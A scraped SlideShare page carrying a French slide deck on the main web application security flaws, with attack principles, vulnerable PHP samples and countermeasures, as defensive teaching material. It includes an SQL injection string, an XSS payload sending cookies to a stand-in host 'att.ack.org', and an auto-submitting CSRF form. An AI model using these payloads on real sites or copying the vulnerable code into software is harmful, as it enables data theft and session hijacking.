SlideShare une entreprise Scribd logo
1  sur  53
Télécharger pour lire hors ligne
Principales failles de sécurité
                                                                  des applications Web
                                                                  Principes, parades et bonnes pratiques
                                                                  de développement




Guillaume HARRY l Contenu sous licence Creative Commons CC-BY-NC-ND
P. 2




       1.   Introduction

       2.   Principales failles de sécurité

       3.   Conclusion

       SOMMAIRE

 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
P. 3




       1.   Contexte

       2.   Enjeux

       1. INTRODUCTION

 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
1.1 Contexte : Fonctionnement d’une application Web

P. 4              Composants serveur




                                Requête http
                                                                           EE
                                                                           xx
                                                                           tt
                                HTML + CSS

       Utilisateur                                        Serveur http                       Serveur                    Serveur de base
                                                                                             d’application              de données

                                                                                     Architecture 3-tiers




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
1.1 Contexte : Fonctionnement d’une application Web

P. 5              Composants client



                                               JavaScript                           Requête http
                                                                                                                                    EE
                                                                                                                                    xx
                                                                                                                                    tt
                                           HTML + CSS                                        XML

               Utilisateur                                        Moteur                                     Serveur http
                                                                  AJAX




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
1.1 Contexte : Fonctionnement d’une application Web

P. 6              Principe d’une application Web
                    1. Envoie de la saisie d’un formulaire
                    2. Envoie de la requête correspondante pour traitement
                    3. Retour du résultat à la page de script
                    4. Génération et envoie de la page HTML


                                                                                              2) Demande de
                                            1)                                                traitement
                                                                                        EE
                                                                                        xx
                                                                                        tt
                                           4) HTML + CSS                                       3) Résultat

                  Utilisateur                                           Serveur http



 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
1.2 Enjeux

P. 7              Analyse des besoins de sécurité
                     Intégrité
                     Confidentialité
                     Disponibilité
                  Risques de sécurité applicatifs




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
P. 8




       PRINCIPALES FAILLES DE SÉCURITÉ

 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.1 Injection

P. 9              Victime d’une attaque
                     Composant de l’architecture de l’application vulnérable
                  Attaquant
                     Extérieur au système
                  Moyens utilisés
                     Formulaire de saisie de l’application
                     Injection de code malicieux dans le code de l’application
                  Objectif de l’attaque
                     Vol d’information
                     Prise de contrôle du système
                     Déni de service

 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.1 Injection

P. 10             Principe d’une attaque
                    1. Envoi de code malveillant
                    2. Envoi de la requête correspondante pour traitement
                    Les étapes suivantes sont fonction de l’attaque employée
                    3. …
                    4. …

                                                                                             2) Demande de
                                              1)                                             traitement



                                             4) …                                             3) …
                        Attaquant                                          Serveur http


 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.1 Injection

P. 11            Comportement d’une application vulnérable à l’injection SQL
                   1. Envoi de la saisie d’un formulaire
                   2. Envoi de la requête correspondante pour traitement
                   3. Retour du résultat à la page de script
                   4. Génération et envoie de SELECT HTML
                                               la page numerocarte FROM comptes
                                                                          WHERE nom='user4'
                                                                          AND
                                                                          motdepasse=PASSWORD('eng111')
                                             1)                                         2) Requête SQL



                                            4) HTML + CSS                                 3) Résultat

                    Utilisateur                                         Serveur http                     +-------------+
                                                                                                         | numerocarte |
                                                                                                         +-------------+
                                                                                                         | 741852963
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement |
                                                                                                         +-------------+
2.1 Injection

P. 12            Vol d’information par injection SQL
                   1. Envoi de code malicieux « ' OR 1=1 -- '  »
                   2. Envoi de la requête correspondante à la base de
                        données
                   3. Retour du résultat à la page de script
                                                 SELECT numerocarte FROM comptes
                   4. Vol d’information
                                                                          WHERE nom='' OR 1=1 -- ' '
                                                                          AND
                                                                          motdepasse=PASSWORD('eng111')
                                             1)                                           2) Requête SQL



                                            4) HTML + CSS                                 3) Résultat
                       Attaquant                                        Serveur http                     +-------------+
                                                                                                         | numerocarte |
                                                                                                         +-------------+
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
                                                                                                         | 123456789              |
2.1 Injection

  P. 13             Source de vulnérabilité
                      1. Code de la requête est généré dynamiquement
                      2. Caractères interprétés (en SQL, en SHELL, …) acceptés
    //recuperation des parametres
2  $nom = $_GET['nom'];
    $motdepasse = $_GET['motdepasse'];
    //generation de la requete
1  $requeteSQL = "SELECT numerocarte FROM comptes WHERE nom = '$nom' AND
    motdepasse = PASSWORD( '$motdepasse' )";
    //execution de la requete
    $reponse = mysql_query($requeteSQL);
    $resultat = mysql_fetch_assoc($reponse);
    //affichage du resultat
    echo $resultat['numerocarte'];




   Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.1 Injection

  P. 14             Solutions
                      1. Utiliser des requêtes paramétrées
                      2. Ne pas autoriser les caractères spéciaux
    //recuperation des parametres
2  $nom = htmlspecialchars($_GET['nom'],ENT_QUOTES);
    $motdepasse = htmlspecialchars($_GET['motdepasse'] ,ENT_QUOTES);
    //preparation de la requete
    $stmt = $mysqli->prepare("SELECT numerocarte FROM comptes WHERE nom =
    ? AND motdepasse = PASSWORD( ? )");
1  $stmt->bind_param("ss", $nom, $motdepasse);
    //execution de la requete
    $stmt->execute();
    $stmt->bind_result($resultat);
    $stmt->fetch();
    //affichage du resultat
    echo $resultat;




   Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

P. 15             Victime d’une attaque
                     Utilisateur de l’application vulnérable
                  Attaquant
                     Extérieur au système
                  Moyens utilisés
                     Injection de code actif dans un document HTML
                              1. XSS réfléchie
                              2. XSS stockée

                  Objectif de l’attaque
                     Vol d’information
                     Prise de contrôle du système de l’utilisateur
                     Hameçonnage
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

P. 16             Exemple de code actif
                     document.write('<img
                       src=http://att.ack.org/steal.php?'+docum
                       ent.cookie+' width=1>');
                     Ajoute une balise cachée lors de l’affichage de la page
                       par le navigateur
                       <img src=http://att.ack.org/steal.php?
                       1...f width=1>
                     L’appel de la page stocke les informations en paramètre




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

P. 17             Par réflexion

                                                 3) Page de résultat
                                                 avec le script




                     Utilisateur                                                       Application Web
                                                    1)
                                                       C   liq
                                                              ue                                 2) Exécution
                                                                 s   ur
                                          4)                            u                        du script embarqué
                                             Vo                             nl
                                                l                                ien
                                                    d’i
                                                       nfo
                                                           rm
                                                             ati
                                                                on


                                                                                        Attaquant
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

   P. 18             Par réflexion
                       Source de vulnérabilité
                       1. Caractères HTML/JavaScript acceptés
     R&eacute;sultat de la recherche :
1)  <?php echo $_GET['recherche'];?>

                         2.Accès autorisé aux cookies pour JavaScript




    Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

P. 19             Par réflexion
                    Solutions
                    1. Ne pas autoriser les caractères spéciaux
    R&eacute;sultat de la recherche :
    <?php
       $recherche = htmlspecialchars($_GET['recherche'],ENT_QUOTES);
       echo $recherche;
    ?>


                      2.Rendre les cookies utilisables uniquement par l’application
                           Le code JavaScript ne peut pas accéder au cookie
    <?php session.cookie_httponly = True ?>




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

P. 20             Stocké


                                                 2) Demande de la page



                                                3) Page de résultat
                                                avec le script
                     Utilisateur                                  Application Web

                                                                                                 1) Enregistrement
                                          4)                                                     du code actif
                                             Vo
                                                l   d’i
                                                       nfo
                                                           rm
                                                             ati
                                                                on


                                                                                    Attaquant
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

 P. 21             Stocké
                     Source de vulnérabilité
                         Caractères HTML/JavaScript acceptés
  <?php
  $message=$_GET['message'];
  $nom=$_GET['nom'];
  $numsujet=$_GET['numsujet'];
  //generation de la requete
 $requeteSQL = "INSERT INTO messages VALUES (NULL, '$numsujet',
  '$nom', '$message')";
  ?>




  Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

P. 22             Stocké
                    Solutions
                    1.Filtrer les entrées
                    2.Ne pas autoriser les caractères spéciaux
    R&eacute;sultat de la recherche :
    <?php
       $recherche = htmlspecialchars($_GET['recherche'],ENT_QUOTES);
       echo $recherche;
    ?>


                      3.Rendre les cookies utilisables uniquement par l’application
    <?php session.cookie_httponlyne Truepas accéder au cookie
                Le code JavaScript = peut ?>




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.3 Violation de gestion d’authentification et de Session

P. 23             Victime d’une attaque
                     Application vulnérable
                  Attaquant
                     Extérieur au système
                  Moyens utilisés
                     Usurpation d’identité
                              1. Attaque contre le système d’authentification
                              2. Détournement de session

                  Objectif de l’attaque
                     Accès à l’application
                     Vol d’information
                     Corruption de données
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.3 Violation de gestion d’authentification et de Session

P. 24             Mécanisme de connexion
                     Rappel : http est un protocole déconnecté
                    1. Authentification
                                                                                              2) Demande
                                            1)                                                de vérification
                                                                                        EE
                                                                                        xx
                                                                                        tt
                                               4) Envoi id                                     3) Résultat
                                               de session
                  Utilisateur                                           Serveur http

                      2. Travail avec l’identifiant de session
                                            1) Envoi id
                                            de session                                        2) …
                                                                                        EE
                                                                                        xx
                                                                                        tt
                                           4) Envoi id                                         3) …
                                           de session
                  Utilisateur                                           Serveur http
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.3 Violation de gestion d’authentification et de Session

P. 25             Attaque contre le système d’authentification
                    Sources de vulnérabilité
                    1.Force brute
                    2.Comptes par défaut
                    3.Système de réinitialisation de mot de passe
                    4.Système de création de comptes par soi-même




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.3 Violation de gestion d’authentification et de Session

P. 26             Attaque contre le système d’authentification
                    Solutions
                    1.Force brute
                           1.      Mots de passe forts
                           2.      Message d’erreur générique
                           3.      Verrouillage de compte après 5 erreurs consécutives
                           4.      Utilisation de captcha
                      2.Supprimer ou désactiver les comptes par défaut
                      3.Système de réinitialisation de mot de passe
                           Envoi d’un nouveau mot de passe sur média préconfiguré
                      1.Système de création de comptes par soi-même
                           Ne pas autoriser les identifiants proches
                           Générer l’identifiant de connexion


 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.3 Violation de gestion d’authentification et de Session

P. 27             Détournement de session
                    Méthodes d’attaque
                    1.Fixation
                    2.Vol
                    3.Prédiction
                    4.Force brute                                           1) Envoi id
                                                                            de session                                        2) …
                                                                                                                        EE
                                                                                                                        xx
                                                                                                                        tt
                                                                           4) Envoi id                                         3) …
                                                                           de session
                                                  Utilisateur                                           Serveur http

                                              5) Envoi id de session


                        Attaquant
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.3 Violation de gestion d’authentification et de Session

P. 28             Détournement de session
                    Solutions
                    1.Utiliser un moyen d’identification secondaire
                    2.Détruire les sessions
                    3.Ne pas soumettre les données par GET
                    4.Chiffrer les flux de transmission des identifiants
                    5.Redemander le mot de passe lors d’un changement de
                    niveau de privilège




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.4 Référence directe non sécurisée à un objet

P. 29             Victime d’une attaque
                     Application vulnérable ou utilisateur
                  Attaquant
                     Extérieur au système ou utilisateur
                  Moyens utilisés
                     Injection de données frauduleuses
                  Objectif de l’attaque
                     Attaque par injection
                     Attaque XSS
                     Accès et/ou modification de données sans autorisation


 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.4 Référence directe non sécurisée à un objet

P. 30             Source de vulnérabilité
                     Valeurs de paramètre non vérifiées
   //recuperation des parametres
   $nom = $_GET['proprietaire'];
   //generation de la requete
   $requeteSQL = "SELECT numerocarte FROM comptes WHERE nom = '$nom'";




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.4 Référence directe non sécurisée à un objet

P. 31             Solutions
                    1. Vérifier toutes les données avant utilisation (get, post,
                         cookie)
                           1.      Type attendu
                           2.      Nombre d’arguments attendus
                           3.      Valeurs limitées
                           4.      Taille de la donnée
                           5.      Valeur nulle autorisée?
                           6.      Valeur suit une expression régulière
                      2. Protéger les sorties vers le client
                           •       Coder les caractères spéciaux




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.5 Falsification de requêtes inter-site (CSRF)

P. 32             Victime d’une attaque
                     Application vulnérable
                  Attaquant
                     Extérieur au système
                  Moyens utilisés
                     Requête http d’attaque envoyée par un utilisateur
                              1. CSRF réfléchie
                              2. CSRF stockée

                  Objectif de l’attaque
                     Vol d’information
                     Corruption de données

 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.5 Falsification de requêtes inter-site (CSRF)

P. 33             Exemple de requête d’attaque
                     La requête simule une action de l’utilisateur
                     L’appel de la page exécute une fonctionnalité de
                       l’application
   <form method="GET" id="reflected_CSRF" name="reflected_CSRF"
   action="add_message.php">
     <input type=hidden name="numsujet" value="6">
     <input type=hidden name="nom" value="CSRF">
     <input type=hidden name="message" value="action frauduleuse">
   </form>
   <script>document.reflected_CSRF.submit()</script>




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.5 Falsification de requêtes inter-site (CSRF)

P. 34             Par réflexion



                                                    1) Connexion



                     Utilisateur                                                      Application Web
                                                   2)
                                                      C   liq
                                                             ue                                  3) Exécution
                                                                s   ur
                                                                       u                         du code
                                                                           nl
                                                                                ien




                                                                                       Attaquant
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.5 Falsification de requêtes inter-site (CSRF)

   
P. 35   Stocké


                                                 2) Affichage de la page
                                                 3) Réponse http

                                               4) Exécution du code
                     Utilisateur                                 Application Web


                                                                                               1) Enregistrement du script




                                                                                    Attaquant
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.5 Falsification de requêtes inter-site (CSRF)

P. 36             Source de vulnérabilité
                     Utilisation de la méthode GET


                  Solutions
                    1. Utilisation de la méthode POST uniquement
                    2. Redemander le mot de passe lors d’un changement de
                         niveau de privilège




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.6 Mauvaise configuration de sécurité

P. 37             Victime d’une attaque
                     Application vulnérable
                  Attaquant
                     Extérieur au système
                  Moyens utilisés
                     Faille de sécurité connues des composants
                  Objectif de l’attaque
                     Déni de service
                     Prise de contrôle du système




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.6 Mauvaise configuration de sécurité

P. 38             Source de vulnérabilité
                     Vulnérabilités laissées ouvertes par les composants de
                        l’architecture


                  Solutions
                    1. Désactiver les options inutiles
                    2. Mettre à jour les composants
                    3. Installer les composants en version anglaise
                    4. Supprimer ou désactiver les comptes par défaut




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.7 Stockage de données cryptographiques non sécurisé

P. 39             Victime d’une attaque
                     Application vulnérable
                  Attaquant
                     Extérieur au système
                  Moyens utilisés
                     Accès au système de stockage
                  Objectif de l’attaque
                     Vol d’information confidentielles




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.7 Stockage de données cryptographiques non sécurisé

P. 40             Source de vulnérabilité
                     Information confidentielle visible en clair


                  Solutions
                    1. Chiffrer tous les supports de stockage d’information
                                                 Bases de données
                                                 Fichiers
                                                 Sauvegardes
                      1. Utiliser des algorithmes de chiffrement forts
                                                 Exemple : AES 256, RSA
                      1. Utiliser des algorithmes de hachage forts
                                                 Exemple : SHA 256



 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.8 Défaillance dans la restriction des accès à une url

P. 41             Victime d’une attaque
                     Application vulnérable
                  Attaquant
                     Utilisateur de l’application
                  Moyens utilisés
                     Saisie d’adresse non autorisée
                  Objectif de l’attaque
                     Accès à des fonctionnalités non autorisées
                     Accès à des fichiers du serveur http




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.8 Défaillance dans la restriction des accès à une url

P. 42             Source de vulnérabilité
                     Manque de contrôle lors de l’accès aux fonctionnalités
                     Fonctionnalités indexées par les moteurs de recherche


                  Solutions
                    1. Tous les répertoires doivent contenir un fichier
                         index.html
                    2. Le serveur http ne doit pas afficher le contenu d’un
                         répertoire
                    3. Les fonctionnalités doivent vérifier les droits d’accès de
                         l’utilisateur avant affichage



 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.9 Protection insuffisante de la couche transport

P. 43             Victime d’une attaque
                     Application vulnérable
                  Attaquant
                     Extérieur au système
                  Moyens utilisés
                     Accès au système de transmission
                  Objectif de l’attaque
                     Vol d’information confidentielles




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.9 Protection insuffisante de la couche transport

P. 44             Les protocoles de communication sur Internet

         Pile générique pour                                                               Pile générique pour
               Internet                                                                          Internet

                  Application                                                                       Application

                   Transport                                                                         Transport

                    Internet                                                                          Internet

                    Réseau                                                                            Réseau


             Transfert de données à travers la pile de protocoles d’Internet




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.9 Protection insuffisante de la couche transport

P. 45             Source de vulnérabilité
                     Accessibilité des moyens de transmission


                  Solution
                     Chiffrer toutes les pages de l’application
                                                 Si transmission de données confidentielles (dont informations
                                                   de connexion)
                                                 Si transmission des informations de session




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.10 Redirection et renvois non validés

P. 46             Victime d’une attaque
                     Utilisateur de l’application vulnérable
                  Attaquant
                     Extérieur au système
                  Moyens utilisés
                     Page de redirection
                  Objectif de l’attaque
                     Hameçonnage
                     Attaque CSRF par réflexion




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.10 Redirection et renvois non validés

P. 47             Source de vulnérabilité
                     Adresse de destination non vérifiée


                  Solutions
                     Renvoi uniquement vers des pages locales
                     Redirection assurée par le serveur http en cas de
                         déplacement d’une page ou du site




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
P. 48




    1.     Web 2.0 : Constats

    2.     Web 2.0 : Perspectives

    3. CONCLUSION

 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
3.1 Web 2.0 : Constats

P. 49             Internet est omniprésent
                      Guerre des forfaits mobiles pour Internet
                      L’accès à Internet est perçu comme un des droits de
                         l’Homme
                                                 Vinton G. CERF dans le New York Times paru le 5 janvier
                                                   2012
                                                 Extrait de : “Internet Access Is Not a Human Right”
                                                 “Even the United Nations report, which was widely hailed as
                                                   declaring Internet access a human right, acknowledged that
                                                   the Internet was valuable as a means to an end, not as an
                                                   end in itself”.




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
3.1 Web 2.0 : Constats

P. 50             Les risques ont peu évolué depuis 2004
                     7 problèmes de 2010 déjà présents en 2004
        Risques                                                                                 2004 2007 2010
        Injection de commandes                                                                  A6           A2           A1
        Failles Cross Site Scripting (XSS)                                                      A4           A1           A2
        Violation de Gestion d’Authentification et de Session                                   A3           A7           A3
        Référence directe à un objet non sécurisée                                              A1           A4           A4
        Cross Site Request Forgery (CSRF)                                                                    A5           A5
        Gestion de configuration non sécurisée                                                  A10                       A6
        Stockage non sécurisé                                                                   A8           A8           A7
        Manque de restriction d’accès URL                                                       A2           A10          A8
        Violation de Contrôle d’Accès
        Communications non sécurisées                                                                        A9           A9
        Redirection et renvoi non validés                                                                                 A10
        Débordement de tampon                                                                   A5
        Mauvaise gestion des erreurs                                                            A7           A6
        Déni de Service                                                                         A9
        Exécution de fichier malicieux                                                                       A3
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
3.1 Web 2.0 : Constats

P. 51             Ajax et la sécurité
                     Ajout de nouvelles failles
                     Mode asynchrone rend les attaques moins visibles
                  Sécuriser une application Web 2.0
                    1. Sécuriser le Web 1.0
                    2. Sécuriser les appels Ajax




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
3.2 Web 2.0 : Perspectives

P. 52             Faut-il abandonner Ajax ?
                  HTML 5 sera-t-il la solution pour faciliter et standardiser le
                   développement d’applications Web 2.0 ?
                  Les bonnes pratiques de sécurité vont devoir évoluer pour
                   prendre en compte les applications pour smartphone




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
P. 53




    Contact : Guillaume HARRY

    MERCI DE VOTRE ATTENTION

 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement

Contenu connexe

Tendances

Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonSébastien GIORIA
 
Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
Conférence #nwxtech2 : Sécurité web/PHP par Maxime MauchausséeConférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
Conférence #nwxtech2 : Sécurité web/PHP par Maxime MauchausséeNormandie Web Xperts
 
Sécurité des applications Web
Sécurité des applications WebSécurité des applications Web
Sécurité des applications WebSylvain Maret
 
Les 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASPLes 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASPyaboukir
 
White paper - La sécurisation des web services
White paper - La sécurisation des web servicesWhite paper - La sécurisation des web services
White paper - La sécurisation des web servicesBee_Ware
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouseSébastien GIORIA
 
Vulnérabilité des sites web
Vulnérabilité des sites webVulnérabilité des sites web
Vulnérabilité des sites webSaid Sadik
 
La sécurité sur le web
La sécurité sur le webLa sécurité sur le web
La sécurité sur le webSofteam agency
 
Sécurité des Développements Webs et Mobiles
Sécurité des Développements Webs et MobilesSécurité des Développements Webs et Mobiles
Sécurité des Développements Webs et MobilesPhonesec
 
Securité des applications web
Securité des applications webSecurité des applications web
Securité des applications webMarcel TCHOULEGHEU
 
Les menaces applicatives
Les menaces applicativesLes menaces applicatives
Les menaces applicativesBee_Ware
 
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014 Securite applicative et SDLC - OWASP Quebec - 15 avril 2014
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014 Patrick Leclerc
 
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V012010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01Sébastien GIORIA
 
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan MarcilASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan MarcilCyber Security Alliance
 
Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Asma Messaoudi
 
Sécurité des web services soap
Sécurité des web services soapSécurité des web services soap
Sécurité des web services soapZakaria SMAHI
 
Securite des Applications dans le Cloud
Securite des Applications dans le CloudSecurite des Applications dans le Cloud
Securite des Applications dans le CloudSebastien Gioria
 

Tendances (20)

Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID Lyon
 
Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
Conférence #nwxtech2 : Sécurité web/PHP par Maxime MauchausséeConférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
 
Sécurité des applications Web
Sécurité des applications WebSécurité des applications Web
Sécurité des applications Web
 
Les 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASPLes 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASP
 
White paper - La sécurisation des web services
White paper - La sécurisation des web servicesWhite paper - La sécurisation des web services
White paper - La sécurisation des web services
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouse
 
Vulnérabilité des sites web
Vulnérabilité des sites webVulnérabilité des sites web
Vulnérabilité des sites web
 
La sécurité sur le web
La sécurité sur le webLa sécurité sur le web
La sécurité sur le web
 
Sécurité des Développements Webs et Mobiles
Sécurité des Développements Webs et MobilesSécurité des Développements Webs et Mobiles
Sécurité des Développements Webs et Mobiles
 
Sécurité des réseaux
Sécurité des réseauxSécurité des réseaux
Sécurité des réseaux
 
Securité des applications web
Securité des applications webSecurité des applications web
Securité des applications web
 
Les menaces applicatives
Les menaces applicativesLes menaces applicatives
Les menaces applicatives
 
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014 Securite applicative et SDLC - OWASP Quebec - 15 avril 2014
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014
 
Securité web
Securité webSecurité web
Securité web
 
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V012010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
 
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan MarcilASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
 
Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02
 
Sécurité des web services soap
Sécurité des web services soapSécurité des web services soap
Sécurité des web services soap
 
Securite des Applications dans le Cloud
Securite des Applications dans le CloudSecurite des Applications dans le Cloud
Securite des Applications dans le Cloud
 
OWASP TOP 10 Proactive
OWASP TOP 10 ProactiveOWASP TOP 10 Proactive
OWASP TOP 10 Proactive
 

En vedette

L'accessibilité des objets connectés
L'accessibilité des objets connectésL'accessibilité des objets connectés
L'accessibilité des objets connectésSophie Drouvroy
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 
Los cinco colores que te darán salud!!
Los cinco colores que te darán salud!!Los cinco colores que te darán salud!!
Los cinco colores que te darán salud!!Adriana Moreira
 
Kahi Tuna / Ricardo Espinoza / Diseño y Empresa USS / 20april
Kahi Tuna / Ricardo Espinoza / Diseño y Empresa USS / 20aprilKahi Tuna / Ricardo Espinoza / Diseño y Empresa USS / 20april
Kahi Tuna / Ricardo Espinoza / Diseño y Empresa USS / 20aprilguestebf24eaf6
 
Monarque diaporama exemple
Monarque diaporama exempleMonarque diaporama exemple
Monarque diaporama exempleQueenbeabea
 
Dossier de rapport_de_tests_v1.00
Dossier de rapport_de_tests_v1.00Dossier de rapport_de_tests_v1.00
Dossier de rapport_de_tests_v1.00Arnold Stellio
 
Las 4 exclamaciones
Las 4 exclamacionesLas 4 exclamaciones
Las 4 exclamacionesJoan Piñol
 
HIF Paris 2014 - BULL - Success Story : Les solutions HDS de services de fich...
HIF Paris 2014 - BULL - Success Story : Les solutions HDS de services de fich...HIF Paris 2014 - BULL - Success Story : Les solutions HDS de services de fich...
HIF Paris 2014 - BULL - Success Story : Les solutions HDS de services de fich...Hitachi Data Systems France
 
Mujeres conquistan sus derechos_ Sabina Orellana
Mujeres conquistan sus derechos_ Sabina OrellanaMujeres conquistan sus derechos_ Sabina Orellana
Mujeres conquistan sus derechos_ Sabina OrellanaGobernabilidad
 
Alguien Dijo
Alguien DijoAlguien Dijo
Alguien Dijoreud1
 
Astec French Language Brochure
Astec French Language BrochureAstec French Language Brochure
Astec French Language BrochureTony Loup
 
Política de empleo. Sobre la colaboración público-privada en la inserción de ...
Política de empleo. Sobre la colaboración público-privada en la inserción de ...Política de empleo. Sobre la colaboración público-privada en la inserción de ...
